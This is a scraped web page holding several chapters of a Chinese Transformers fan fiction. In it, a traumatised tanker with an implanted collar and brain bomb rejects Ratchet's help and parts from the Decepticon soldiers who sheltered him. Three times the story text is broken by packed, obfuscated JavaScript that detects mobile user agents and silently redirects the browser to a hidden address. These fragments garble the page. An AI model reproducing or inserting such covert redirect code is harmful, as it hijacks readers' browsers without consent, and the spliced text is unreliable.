l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138219|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我帮助他们,他们给我提供能量,就是这样。” “我不觉得关心你的机体情况、担心你吃没吃东西、检查你受没受伤也算在‘合作伙伴’的范畴内。” 油罐车这次没有回她的话,美琪抱起胳膊,翻了个白眼。 “Fine,我明白,不说话装高冷。谁还没有个外在形象得维护。” 天灾叹了口气。 “你就是不肯安静是不是。” “除非你告诉我答案。”女孩坚持。 “只是朋友,就是这样。”油罐车最终承认道。 “哼——哼。”美琪还有些不满意,但还是接受了他的答案。 他们保持了一小会儿宁静,但没持续多久。 美琪突然举起一只手:“但……” 天灾预判:“不。” 美琪再度开口:“可……” 天灾坚定:“不。” 美琪不满地挑眉:“我还没……” 天灾继续:“不。” “你有时候无趣地像是擎天柱,你知道吗。” “哼。”天灾决定当这是一个恭维。 一时之间只剩下了地面单位身上机体运行的安静声响,不远处,暴躁的医官一边怒骂着威震天又或者哪位倒霉霸天虎军官的名字一边将手中的医疗焊枪用得冒烟。 普神知道上次救护车看见这样大规模伤亡的情形还是在几年前方舟号驶离赛博坦前! 交易内容或者自身的安危显然都要在此时此刻给医生的本能退步,这个从汽车人基地中过来的医官眉头紧锁,面甲上是毫无掩饰之意的愤怒与严肃。 没有一架机子敢于在这种时候触医生的霉头。 随着K-19扶着医官经手的最后一位被修理好的人员离开去休息,他们的交易似乎也在此时来到了尾声。 直到救护车紧锁着眉头走到了天灾跟前,带着一丝风雨欲来的不安。 不明所以的小油罐车还欲站起来和这位一直在尽职尽责救人的医生交涉,但他甚至还没站起来就已经被气势汹汹走过来的医官再度按回了地上。 饶是天灾也被他通身环绕的不容拒绝的气势吓愣了,一时没想起来反抗。 “坐这儿别动!”救护车恶狠狠地盯着他,一边说一边头疼地揉着自己的眼角。 救护车承认自己在落地前的确对自己来这里的决定抱有极大的不确认感,乃至于对擎天柱屡次对天灾心软的举动也有不小的担忧,当然他落地后天灾的行为也的确验证了他的担忧,这架自命不凡的傲慢油罐车就和他的霸天虎sire一样不值得信任,但…… 医官心中再大的怨气在看到眼前的画面时也消失了。 此时再大的事情也没有先让这群即将回归普神怀抱的机子活下来重要,他没办法对这些距离下线仅有咫尺之遥的机子生气,更没办法对费了这么大周折只为了救人的天灾生气。 更何况,油罐车自身的情况也并不好。 看着似乎对侧肋渗着能量液的伤口无动于衷的油罐车,救护车没办法欺骗自己的良心和职业道德袖手旁观,他叹口气,转回身去拿自己的医疗箱。 被吓愣的油罐车瞪大了光学镜,依然没从自己被人吼了的震撼中回过神,直到K-19回到了他的身边,他才像找回了自己的心绪,向身侧的飞行单位投了一个求助的眼神。 K-19转过头假装自己没看见,天灾又转过头去找其他的量产机子,过分的是其他接收到他眼神的机子也都不约而同扭开了头,假装自己很忙。 小油罐车简直气得磨牙。 但生气也没用,没有人能从愤怒的医官手底下逃走。 救护车一边翻找自己的医疗箱,一边黑着脸臭骂任何胆敢出现在自己面前的活物。 眼前这个医生显然已经到了连石头在他面前也得挨两句骂的程度。 天灾乖乖侧过身子让医官检查自己侧肋处焊接得并不漂亮的裂痕。 此时那处明显的伤口已经再度渗出点点能量液的蓝色,油罐车后知后觉,显然那里再度崩开了。 他有些懊恼地想,机械党的外置装甲和他机体的不兼容度显然低得可怕。而他居然忘记了这一点。 该死的。 他在火种里暗骂。 先前杂兵们对他的焊接只能算是临时处理,否则他们也不会需要更专业的医官来照顾他们的这些伤员。 现在有救护车接手,天灾能明显感受到机体在愈合时的轻微痒感。 医官的伺服器与腹部原生质接触的瞬间,他下意识地想躲,却被医官呵斥住了动作。 K-19按住了他的肩膀以示安慰。 “医生,稍微温柔一点。”飞行单位轻声开口道。 “Please.” 救护车挑了挑眉并没说什么,但手上的动作却放轻了。 油罐车在内心深处松了口气。 没有人能抵抗正在发火的医生。天灾缩了缩脖子,决定将这句话记录进自己的CPU中。 终于,救护车在检查过油罐车几处明显的伤势过后终于放过了他。 K-19就在此时开口道: “救护车,我想请你帮忙看看……” “他的项圈。” 医官感受到自己手下的这架油罐车肉眼可见地僵硬了起来。 45.你必须和我走 这不是恐慌。 天灾在量产机话说出口的时刻想。 他没有颤抖,没有躲开医疗单位伸过来的手,也没有扫开矿机依然搭在自己肩膀上的爪子。 他的主系统一切运转正常,机体自检没有出现任何问题,油压、动力系统、火种频率都处在正常数值。 毫无疑问,他的机体也许并没有处在巅峰状态,但不,他远没有…… 他没有崩溃。 天灾低头,面无表情地看着橘白色的医官臂甲中探出了一架小巧的扫描仪将自己从头到脚用绿色的光芒照射了一遍。 另一个机甲略显冰冷的手抚摸着自己,将紧束的项圈从他饱受折磨的脖子上拽起,冰冷的空气毫不留情地侵入到原生质与项圈的缝隙之中,他甚至克制了还手的冲动。 你必须承认,天灾截止到目前表现得一直很好。 他的意思是,他真的不可能为了这样东西,这个他早已熟悉、并且一直努力忽视它的项圈而崩溃第二次。 他并不脆弱,他不会因为这样无害的触摸而…… 然而他无法解释为什么他听不见救护车的话,也无法解读身边两架机子正在散发出的磁场信号,这就好像…… 他的机体背叛了主人的意志,正处于一场粘稠而漆黑的海洋之灾,浪潮吞没了理智和一切能称之为感知的东西,留下一具空壳任由全世界向他碾压而来。 好了,天灾,这没什么大不了的。 他进行了一次深度置换,希望没有人察觉到自己的耳鸣。 他们不会……的对吧?救护车很正常,K-19很正常,他很正常,他正处在赛博坦人的包围之中,他没有被监视,也没有机械党,他不会再度被人活体解剖。 不久前才被勉强吃下去的能量液反涌上了喉管,天灾希望没有人闻到这股腥甜的味道。 他眨动光学镜的频率也许是有些快,矿机此时也许察觉到了又或许没有注意到他的异常,只是握住他肩膀的力度更大了一些。 天灾试图说服自己的脑模块不要再胡思乱想,尤其是不要再让自己回到那间解剖室。 他很安全,是的,他们会撕裂开他的发声器、剖开他的腰腹,用他们的脏手抚摸天灾的每一寸生物电路…… 不!不,他们没有,他没有…… 这没用! 火种在崩裂,他的理智告诉他真实,但他的、他的本能想要战斗,想要摆脱这种困境,想要冲着每一个活物发泄,撕碎让他如此无助的任何东西,他分不清机体内燃烧的是恐惧还是战意和怒火。 嗡—— 他发出了咆哮,也许,或者是尖叫,掩盖了机体崩溃的噪音,不过无所谓那是什么,医生都缩回了手,那双足以让任何机子畏惧的眼神露出了显而易见的担忧。 Frag it! 油罐车懊恼,没有意识到自己还带着战术口罩以至于没有机子能看见他面甲上的神情。 他真的希望在场的机子相信了他对于这声尖叫的解释,他是说,因为脖子上的伤口而产生痛苦的尖叫或者威胁的咆哮很合理对吧? …… 炉渣的,他到底在骗谁。 天灾闭上了眼睛,确认自己不可能蒙混过关。 “继续吧医生,”他生无可恋地说,“这只不过是……微不足道的。” 好在救护车没有继续追问,天灾为此甚至在感谢他的贴心。 这次,油罐车忍住恶心,闭上眼睛主动抬起了下巴,将自己脆弱的要害送到了救护车手中。 当医官再次触摸时,油罐车配合救护车拖拽项圈的动作微微站了起来,否则他就要像个奴隶一样不得不被拖拽到地上。 因为他该死的腿脚根本使不上力气。 他尽量避免那样的情况发生。 一些药物被涂抹在伤口之上,天灾想办法在机体反应变得严重前克制住了。 他真的希望自己没有像自己想象中一样表现出顺从。 …… 这种友好与任人宰割的无害姿态一直持续到了整个检查结束。 救护车的心情却没有和‘患者’的配合一样轻松。 在远离赛博坦甚至远离军医的战时救治帐篷的这颗星球上,他也许没有足够的仪器能够对伤者的情况下具体的判断,但他的经验不会拖后腿。 臂甲上对于天灾的全身扫描呈现在医官的光学镜中,几乎让医生倒吸一口冷气。 他见过无数在战争中死去、被炸成碎片的机子,哦普神,你不想知道他曾看见过怎样的人间炼狱,但如今呈现在他眼前…… 这足以成为救护车最不想看见的最糟糕的伤情报告之一。 原生质上已经愈合的密密麻麻的割痕、脖子上抓挠的血迹、外装甲排异(这就是为什么不要在没有医生的情况下使用人类的合金)、机体能量吸收不均(人类常称之为营养不良)、内部蓄流异常(这通常被造成于强电流刺激)、项圈中顶针造成的几乎威胁到油罐车正常摄入能量的发声器损伤…… 救护车咬了咬牙,不敢想这架在所有人面前一直表现得无所畏惧的油罐车曾经历过什么。 他怎么还能若无其事地坐在这里? 救护车在检查时尽量放轻了动作,然而依然被油罐车光学镜中的神情所刺伤,他也许不是赛博坦最有名的心理医师,但他了解一架濒临崩溃的、患有严重PTSD的机子会有什么样的反应。 他及时松开了手,然而油罐车对他说了什么毫无反应,救护车甚至怀疑天灾根本没意识到自己的机体正在抗拒医官的触碰。 更糟糕的,当医官得到允许为他的伤口上药时,天灾为此表现出的“习惯”几乎让救护车落荒而逃。 这……暗示了很多东西。 …… 当他的动作结束时,医生和患者都松了一口气。 还有…… 救护车眼神沉重地死死盯着油罐车的机体扫描报告。 到底、该死的、为什么在天灾的脑模块和项圈中各有一枚分量不小的内置炸弹?! 救护车对此感到毛骨悚然。 更关键的…… 天灾对此知情吗? 当他将这个消息告诉对面的两架机子时,他真的恐惧地看到了天灾平淡地点头。 炉渣、废气、该死、Fuck…… 一瞬间救护车的CPU迅速运转。 他知道,他一直……他被装上这些! 他很清楚这辆小油罐车近乎傲慢的性格,这只可能是……人类为他套上的。 医官在原地气到踱步,那架霸天虎的飞机看起来吓坏了,但救护车此时没时间管他。 救护车自身并非专攻赛博坦人脑科的医师,这就是他最头疼的! 赛博坦人的脑模块是一个非常非常精密的生物组件,任何意料之外的轻微举动都可能对此造成不可逆的损伤。 天灾没有因为那个明显被强行安装进去的装置变成傻子或者脑死亡就已经是普神的奇迹! 哪怕是在战前人才与科技最辉煌的黄金年代,救护车也没有全部的把握能够在不造成任何伤害和影响的情况下把这个明显嵌入到了天灾脑模块中的鬼东西取出来。 但也许他可以想办法卸掉那个项圈。 赛博坦最伟大的医生发出了一声巨大的意味不明的呻吟,死死捏着自己的眉心。 “孩子,过来,让我再看看你。”他希望他的语气中没有表现出咄咄逼人。 救护车大迈步地再度靠近天灾。 那双灵活的手再度贴上天灾的项圈。 这次,在医生把项圈拽得再宽松时,油罐车不得不打断他。 “已经是极限了医生。”他平稳地说,那双和领袖一样的光学镜因为被拽住项圈而不得不半眯起来,即便如此他依然保持住了那令人厌恶的冷静。 “再用力,会触发报警系统。” 他像是在叙述一件和自己完全无关的事情,救护车想撬开他的头雕,将那该死的人类装置连同油罐车的脑子一起拽出来洗洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155385|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他叹口气松开了手。 “是军方吗?”他疲惫地问。 天灾沉默地摇了摇头。 救护车已经知道了答案。 他发出了一声更大的哀叹。 “我过来是想要说服你让我带着那些更严重的伤员回汽车人基地,他们需要更专业的设备。”他指了指在地上因为锈蚀症而无力动弹的K-75,以及更多无助呻吟的机子。 “但现在我改主意了。” 他快速地收拾起东西,那双属于汽车人的钝手指戳了戳小油罐车的胸口。 “你,和他们必须一起和我回去。” “这不是我们的交易。”油罐车危险地眯起了光学镜。 “该死的!”救护车终于受不了了,他爆发了。 “听着,我不在乎什么交易不交易,也不在乎你那糟糕透顶、像威震天的二进制数据库一样的臭脾气!我是在救你!” “你的机体,你看见了吗!它字面意义上的糟糕透顶!你必须得到帮助,我不在乎你愿不愿意,你必须和我回去!” 救护车的目光在看见天灾的光学镜时变柔软了。 “你需要照顾。让我们帮你。” 这近乎恳求。 但没有打动天灾。 他没有感激涕零,没有受宠若惊,他甚至没有对此感到惊讶。 他平静地、保持了毛骨悚然的理智问道: “那么你能够把我脑袋里的那个东西和我的项圈一起卸掉吗。” “能够保证把那枚装载了监视、遥控与定位装置的炸弹在他们发现你在做什么之前拆除吗。” “能够保证我活下来吗。” 医官脸上的神情也许可以称之为空白。 天灾防御性地抱起了胸。 “我允许了你,”得到了答案的油罐车非常不礼貌地指着救护车,又指了指身后已经明显不知所措的霸天虎飞机,尖锐的指爪几乎划伤救护车的面甲,“以及那架量产飞机在我不情愿的情况下检查了我的机体。” 他加重了“不情愿”这几个字,如果这不足以证明油罐车的愤怒,那么接下来的事情足以证明天灾的忍耐已经到了极点。 “我允许你触碰我,甚至出于我的信任向你们露出我的软肋,”漆黑的机子露出了獠牙,“而这就是你们能回报我的。” 他刀一样的目光一并扫向K-19,显然矿机之前未经许可擅自替他做出决定的事情触犯了天灾的底线。 他们越过了天灾本人的意愿,这是不可原谅的。 如果说还有什么比人类的一切更能惹怒他,那无疑是这个。 在经历这一切,所有的这一切后,他最不需要也最不想要的就是自以为是的“为你好”。 他不需要更多的人认为他们可以忽略天灾的意愿,任意地掌控他的生死与去留。 如果他留在这里,那只可能是因为他想。 如果有任何人,无论是人类还是赛博坦人认为他们可以再度掌控他,那他会让他们知道他们错得离谱。 他的自由,只属于他自己。 “如果你没有确保能够帮助到我的办法。” 他站起来,将脚下战战兢兢的两个人类粗暴地交给了救护车。 “那帮我一个忙,医生。” “闭上嘴,好好完成你的工作。” “至于你的请求。” “他会跟着你们回去,确保所有机子都能活着。” 他指着K-19。 “而我最不需要的,就是虚假的希望!” 平和的假象被撕破,他终于咆哮出声,光学镜迸裂出强烈的憎恨与凶意,尖锐的磁场带着极端的负面情绪戳破喜悦的情绪。 愤怒让所有机子都静若寒蝉。 “带着他们走,然后,我们的交易就结束了。” “不管是擎天柱与我的,还是……” 他转过身,光学镜中的寒意让K-19如坠冰窟。 “与他们的。” 46.就此为止 面对天灾的怒火,救护车几乎是下意识地后退了。 那双猩红的目镜中毫无掩饰的戾气足以灼伤太阳,医官在此刻才悚然谴责自己为何没有早早察觉到在那无害的姿态下隐藏着的浓厚杀意。 继承了领袖之子称号的原生体不断散发着危险信号,重新被束缚回机体的磁场让人猜不准他的心思,唯有油罐车机体上嗡嗡作响的引擎的咆哮才能从中一窥主人的情绪。 不同机子密密麻麻的磁场信号充满了这片空地,量产机们的面甲绷紧,无数双光学镜投向了中央正在发生的闹剧。 只见漆黑的油罐车的胸口剧烈颤动,双拳紧握,肩甲上的武器冒着充能的红光,没有被面罩掩盖的半张面甲上满是扭曲的恨意,他怒视着救护车,直到医生如临大敌地退到了陆地桥开启的位置——只需要一个内线就可以逃跑的位置。 气氛紧张,如同一根即将断裂的钢丝,没有人知道战斗是否会在下一秒爆发。 良久,在众人情绪不一的注视下,天灾闭上了光学镜。 再睁开时,油罐车脸上的狰狞消失了,平静也再度回归到他的光学镜,他扫过不敢动弹的众人,没有一人敢与他对视。 无声的嗤笑在他的火种中响起,天灾起身,若无其事地拍掉肩甲上的灰尘。 事到如今,他真的不该对这种结果意外。 合作者、朋友、同伴……他可以对他与这些霸天虎的关系做出许多种假设,但就算他再怎么告诉自己他已经被接纳,机体的下意识反应却依然无法控制——他到底要怎么做才能继续欺骗自己呢? 去忽视其他机子在面对自己时逃避的对视、始终保留距离的接触、无法隐藏的机体反应? 他们在努力接近自己,装作天灾和他们别无二致,但天灾是为战争而诞生的机甲,观察、分析就是他的本能,哪怕他强迫自己融入,他的数据库与底层代码也不会允许他继续装傻充愣。 他们恐惧自己。 天灾可以感觉到,不光是恐惧自己与领袖相似的外表,还有作为量产士兵烙印在CPU中的、对高等战力本能的退缩与畏惧。 他如何才能忽视事到如今依然只有寥寥数人敢与自己正面对话的现实。 所以天灾说,够了。 他不会对此迁怒,油罐车打从火种深处感谢这些霸天虎士兵们对自己的接纳与为之做出的努力,无论是K-19的照顾,还是K-75的友好,亦或者是那些强迫自己与他对话的其他士兵们,天灾会记得这份恩情。 但应该到此为止。 他的存在对那些比他弱小的机子而言只会是威胁。 不光是他自己,还有天灾身后追着的麻烦。 一直以来,他忽视这条该死的项圈,假装他的机体上没有被附加上耻辱,但这种自欺欺人该在今天结束。 他的问题应该只属于他自己,他的心理障碍更不应该是带给其他人的压力。 他不该成为所有人恐惧的来源。 没有人该为他自己的反复无常买单。 所以,“够了”,他冰冷又尖锐地说。 他发火,因为救护车与K-19不约而同做出了冒犯他本人意愿的决定,尽管天灾清楚那是出于好意,但他拒绝成为一个“被保护”、“被救助”、“无力反抗”的可怜虫。 但其他的部分,还不足以让天灾成为一个恩将仇报的机子。 天灾唯一能责怪的只有他自己的无能。 他终有一日会摆脱这一切,摆脱自己的无能,也摆脱那些该死的、每一个试图控制自己的人。 他站起身,机体上的损伤丝毫没有影响他动作的流畅性,哒、哒……他离开霸天虎的包围,这次,同样地,所有机子为他留出了一条通向外界的道路。 救护车依然如临大敌,他紧盯着那辆背对着他的油罐车。 暴怒过后是令人不安的平静,择人而噬的巨浪重新被掩藏在那恐怖的死水之下,救护车的机体正在重新校准,主系统尖叫着开启战斗协议,威震天的光学镜在天灾露出的红光中逐渐与之重合,那杀伐果断、残忍无情的暴君狞笑着栖息在油罐车的火种中,大声嘲笑擎天柱与汽车人的无用功。 在这片死寂中,汽车人面罩自动扣合的声音清晰可见。 同时响起的,还有医官的武器系统自动充能的噪音。 天灾甚至提不起嘲笑的力气,他径直走向人群的边缘,直到再没有机子的磁场可以感知到他的情绪。 “忘记那一切吧,医生。” 他坐在远离所有人的黑暗中开口,尖锐的指爪下意识地再次抓挠上刚刚被敷上纳米药物的脖圈,轻微的金属剐蹭声终于打破了空气中的冷峻,冬季的寒风呼啸着,给所有人的外装甲上都覆盖上了一层薄霜。 “感谢你的好意。”他颔首,刚刚的闹剧如同救护车的幻觉,“但不必了,我的……机体还没有脆弱到那种程度。” 听觉天线转动,飞行单位机翼垂下的细微风声与地面单位液压系统放松的声音传入他的CPU,紧张的气氛在他的语言之中一扫而空。 你看,事情的解决办法往往都很简单。 然而听到他话语的医生没有如他所想的那样像其他的机子一样松一口气。 救护车依然紧绷着。 “不。” 一句拒绝从那张发声器中吐出。 油罐车再度眯起了光学镜。 “我是一个医生。” 天灾哪怕不需要特意感知也可以感受到救护车身上磁场的燥乱,置换声频繁而沉重,然而,医生依然没有停止。 “照顾伤患就是我的职责。” 救护车深吸了一口气,强迫自己的战斗协议保持了下线状态。 他冷静地说:“我们的交易,是治愈所有的患者,现在……” “你也是我的患者。” 天灾再度起身,这次,他贴身上前,走到了随着他的靠近逐渐紧张的医生的身前,宽大的胸前挡风玻璃几乎贴上了另一架机子的机体。 救护车下意识地后仰,而天灾的面甲就在他眼前不到一个巴掌的距离,近到可以听清油罐车机体内液压系统调整的声音。 也同样是一个可以杀死救护车的距离。 绿色的光芒在救护车的身后亮起,但医生无力分心注意。 天灾贴近他,一直焊在他面甲上的战术口罩却在此刻收回,露出了油罐车那张英俊的面甲的全貌,红色的光学镜目光灼灼地盯着救护车。 “那么原谅我的无礼吧医生,”年轻的机甲抚上了置换凝滞的救护车的胸口,“去救那些更值得你救的机子。” 手上的力气陡然加大,在医生的惊呼中,他被天灾推进了陆地桥转动的涡旋之中,消失了身影。 “哼……” 刚刚推走了汽车人医官的油罐车直起身,轻轻拍了两下手掌,再转过身时面罩已经再度回到了他的面甲上。 他像是什么也没发生一样指挥起像是失去所有思考能力的霸天虎士兵们搬起伤员。 K-75在被同伴抬起来时才如梦初醒,他不明白为何事态急转直下,但他看得出来天灾的状态很不对劲。 他开始大幅度挥动自己还能活动的双臂,大声呼唤油罐车的名字。 然而他的动作除了给同伴造成问题外,别无他用,那辆油罐车一直没有回头。 直到K-75的声音消失在陆地桥的另一端,天灾才转过了身,强迫自己忽略K-75失落的尾音,无声注视着所有重伤员都进入了陆地桥。 现在,他和他们的交易就彻底完成了。 他等待着所有人再度从陆地桥中返回,而此时被他刻意忽视在量产机们中央的那架霸天虎飞机颤抖着,像是才从刚刚的暴风雨中找到理智。 哦普神…… K-19控制不住自己想要捂住面甲的冲动。 他不清楚一架正常的机子该对此作何反应,他真的希望此时有个人可以帮帮自己,这样他就可以知道他该怎么做出补救。 他知道他此时也许该浮现出来的情绪是被人误解好意的委屈,又或者是对天灾别扭性格的恼怒与疏远,但出现在矿机CPU中的想法只有一个: 他搞砸了。 完完全全的。 明明天灾告诉了他,他到底有多么憎恨自己的无能为力。 明明天灾那么痛苦地告诉了他,那个项圈到底代表了什么。 明明他那么努力地向K-19交付了自己的信任。 他明明该是世界上最清楚那架油罐车有多么骄傲的机子。 然而他依然…… 普莱姆斯…… 他为什么没有意识到他的所作所为会是一种伤害?为什么他没有制止他自己? 矿机平凡的CPU一面在谴责他的明知故为,另一面却在告诉他答案: 他沉浸在和一架难以接近的油罐车的交往中,天灾对他的亲近让他太得意忘形,以至于越过了作为一个正常的机子本该恪守的界限。 他不该越过天灾本人的意愿为他做出决定,哪怕这是出于好意。 他太得意忘形了。 哪怕K-19很清楚以天灾的性格根本不可能主动向人求助,但他在向救护车提出要求前,他起码应该把这件事告知天灾本人。 此时浮现在飞行单位火种中的情绪足以被称作是后悔,一种曾被认为绝不可能出现在量产士兵火种中的情绪,K-19犹豫着,却还是走向那架远离人群的油罐车。 天灾也许不会原谅他,但如果天灾那么做了,K-19不会对此意外。 天灾也不是像擎天柱一样宽容、仁慈的机子,但如果说K-19从他们的交往中还得到了什么,那就是这架油罐车到底有多么在意那些向自己散发出善意的人。 远比他所表现出来的要多。 只有和天灾有过深度接触的机子才会知道那辆拒之人外的油罐车是一架多么温柔的机子,因此K-19才不能任由天灾沉浸在自己的情绪里。 他很清楚,如果他不为此做出反应,天灾只会为此责怪他自己。 他不奢求得到谅解,但他希望那辆油罐车能够放过自己。 □□的错。 他才是那个该为此负责的机子。 K-19伸出手,挽留与道歉的话语如同难以下咽的能量晶体凝滞在发声器中,矿机的CPU中满是报错。 然而天灾却毫不留情地在量产机动作的一瞬间精准地打掉了他的爪子。 “你该和救护车一起进入陆地桥。”他开口,语气中是K-19最不想听见的疏远与冰冷。 K-19强迫自己启动发声器。 “我……” “道歉的话就算了。”油罐车再度转过身去,注视着绿色的漩涡中陆陆续续走出几个恢复健康的伤员,气氛比刚才略微好转,只是依然没有机子说话。 油罐车的动作显示出一丝僵硬,他背对着K-19,摆明了不想再听见更多的话。 无论那是道歉还是和好的示弱。 又或者是对他的谴责与说教。 油罐车不会介意自己脑模块中近乎卑劣的想法,但他控制不住地想,也许此时K-19怒骂他一顿他会感觉更好。 起码那样他可以更好地说服自己远离所有人。 K-19几次张口都被天灾挡了回去。 直到最后一个伤员从天灾身后的陆地桥中离开。 在陆地桥关闭前的余光中,在K-19做出最后的努力之前,在所有量产机出声挽留住天灾之前,那架不听任何人说话的倔强黑色大型机变形成了伪装模式。 “就像我所说的。”油罐车的24寸轮胎在森林的泥土中压出了轮廓,他冷冰冰地说,挡风玻璃上只印出了K-19自己的面甲,担忧、自责与焦急的磁场已经非常外显地缠绕在了矿机的框架之上。 “我们的交易完成了。” “感谢……你们的照顾。”天灾的声音顿了顿,带上了痛苦的尾音,也终于带上了一丝软化后的柔和。 “谢谢你们,为了所有的事情。” “你们可以将我的情报告知威震天,也可以去求助擎天柱,又或者,在这颗星球隐姓埋名活下去。”他轻声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160464|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“远离人类,这是……最后的提示。” 他伤痕累累,却依然不肯在此刻露出一丝一毫的颓势。 K-19知道这是最后的机会,如果他再不发挥作用,天灾就会永远消失在他……他们的世界中。 在他开口前,另一架机子打断了他。 K-75的锈蚀与腿部的创伤都得到了治疗,这让这架飞机恢复了健康,他挡在天灾面前,光学窥视孔中流露出清洁液的痕迹。 对于被所有机子默认为不存在感情的量产机来说足够惊人。 但今天的一切都已经足够惊人,所以不应该再有机子对此感到惊讶。 K-75大声呼唤他,试图引起这辆油罐车的心软。 “你不能、不能就这样一走了之!” “可是我们已经互不相欠了,这就是交易,不是吗?” 油罐车冷静地反问。 “从我们第一次见面开始,这就是我们说好的。” K-75被问懵了,只能反复告诉天灾“你不能离开”。 K-75身上是自他们见面开始所有机子身上都少见的属于健康火种的活力,油罐车欣慰地想:起码今晚他真的做了一件好事。 天灾试图让这场离别变得更轻松一些。 “别那么悲观,”他试着开了一个玩笑,“你还会碰见我的,假如你依然为威震天或者擎天柱服务。” “如果在战场上见面,我很确信我会为你的活泼落荒而逃。” 笑话,嗯……毫无作用,没有人笑。 好吧,起码他尝试过了。 “那你呢?” 天灾愣住了。 K-19的声音突兀地插了进来,“你说了我们会怎么样,那你呢。” “你帮助了我们,但那不是……我们的交易本身。” 在天灾离去的前提下,量产机的CPU敏锐地抓住了一个他不知道是否可以用到的关键,但此刻K-19会为了那辆独裁的油罐车不孤注一掷地切断他们之间的联系尽力一搏。 “我们最初的交易是你为我们的存在保密,与之相对的,我们为你提供能量。” “你遵守了交易,但,你还治好了我们,所以……” K-19说:“我们的交易还没有结束。” “我们还欠你……” “那就这么办吧。”天灾急切地打断他,他此刻最不想的就是再和他们牵扯上关系,他不能、不可以再和他们有更深的羁绊,K-19真的还记得他们刚刚吵过架吗?哪怕是单方面的? 他怎么可以在天灾刚刚那么恶劣对待他后依然…… 他怎么敢这么做?! “我会和你们保持联络。” 他的语气中带着慌乱,“我帮了你们,很好,但这是交易附加的,仅此而已。” “That''s all.” “不,那不是。”K-19在K-75和其他量产机的注视下逐渐坚定了自己的语气。 “你做出了新的、足以建立新的交易的帮助,所以我们新的交易是……” “你让我们帮助你。” “这才算公平。” 天灾不说话了,K-19由此知道自己做对了。 “你得让我们帮你,”他跪下,直视油罐车的挡风玻璃,哪怕只能映照出自己的面甲,“不要一走了之。” “求求你。” …… 长久的沉默,直到K-75火种里重新燃起的希望趋近于熄灭,K-19依旧执拗地跪在天灾面前。 “好吧。” 终于。 K-75的肩甲松懈下来,他们恢复健康后要做的待办事项里一定要加上一条:要好好地犒劳K-19,绝对的,不光是为了K-19救了他们。 K-19的光学镜一下子亮了好几个度。 “那……” 油罐车在他再说出什么自己无法应付的话之前甩给了他们一个半成品程序的底层设计代码。 K-75与K-19疑惑地点开后只看到了一个进展到25%的解析进度。 在量产机疑惑时,油罐车小声解释:“这是……针对我体内那些控制代码的反制程序。” “如果解析完成,我就可以短暂屏蔽他们对我的控制或者其他的定位与监视系统,甚至让炸弹的遥控系统短暂失灵。” 他不情愿地承认道:“但很可惜,不清楚他们对这些系统做了什么,至今为止进度依然停留在……25%。” 在他进一步解释之前,K-75率先开口,兴奋溢于言表,“我们会帮你!所有人!” “所以你放心把这些交给我们吧!”K-75似乎一直有永远消耗不完的精力,他大声地招呼那些黏在他们身后的机子,“我们有专门负责系统维护的机子!” K-19的注视开始让油罐车感到微许的不适了,他微微转动自己的车轮,试图躲避K-19的视线。 他这样做无疑是给这些霸天虎又添了危险,但他们真的不会再有更多的交集了,对吧? 所以他们不会因为一个程序而丧命,天灾可以放心让他们暂时忙于这个程序,然后他们就可以忽视油罐车逐渐减少的与他们的交流。 听起来是个很好的计划。 如果没有人识破的话。 “我们可以把这个程序发给其他人吗?”K-19就在此时小心翼翼地询问道。 天灾叹了口气。 “随你吧。” 他真的该走了。 他这几天已经过得足够混乱,而他希望他对富勒特工的二次绑架没有闹到人类军方那里去。 不然他真的就要和人类军方开战然后,嗯,大概是被听见风声的机械党爆破他的头雕。 哈。这听起来是个好笑话。 油罐车短暂地道别后离开了K-19的视线范围。 在此期间,K-19一次也没有移开过自己的视线。 …… 另一边,远离森林的佛莱斯特小镇。 安娜从自己卧室二层的窗户上跳了下去。 47.我们会结束这一切 汽车人基地内,结束超额运转的机械终于落下了今天结束的最后一个音符,狭窄的空间中无处不是赛博坦人能量液散发出的腥甜味道。 领袖卫队的汽车人们垂着头,兀自在自己的位置上发着呆,神情恍惚,机体上也都带着不同程度的磨损。 大黄蜂在隔板与阿尔茜中间侧身通过,面甲上带着不属于他这个年龄的疲惫。 看得出来这位坚强的小战士努力保持自己的清醒,然而向着休息室前进的脚步最终屈服于本能,他精疲力尽地瘫倒在了过道的正中央,发声器中传出像是人类玩具失去电源后不成调的蜂鸣。 无奈的绿色越野车叹了口气,认命地把埋在地上的小侦察兵抱到了旁边可以坐下的空地,避免基地中光学镜与CPU累到脱轨的其他人不小心踩到他。 同伴们尚且如此,红蓝色的领袖同样也没好到哪里去。 擎天柱的机体上还带着之前与天灾交战所留下的痕迹,沉稳又柔和的面甲也沾染上了显而易见的疲色。 愁云惨淡的气氛弥漫在空气中,赛博坦人的磁场中不约而同散发出生无可恋来。 领袖翻出自己的内线,陌生的频道中只有一道简短又精确的短讯。 信息中用命令的语气通知他开启陆地桥以接收救护车与重伤员,与威震天一脉相承、理所当然的态度,毫无疑问地来自那辆小油罐车,然而…… 他的小油罐车再次给了所有人一份大礼。 擎天柱看看坐在自己身旁不知在沉思什么的好友再看看其他人,再次在心底咽下了一声叹息。 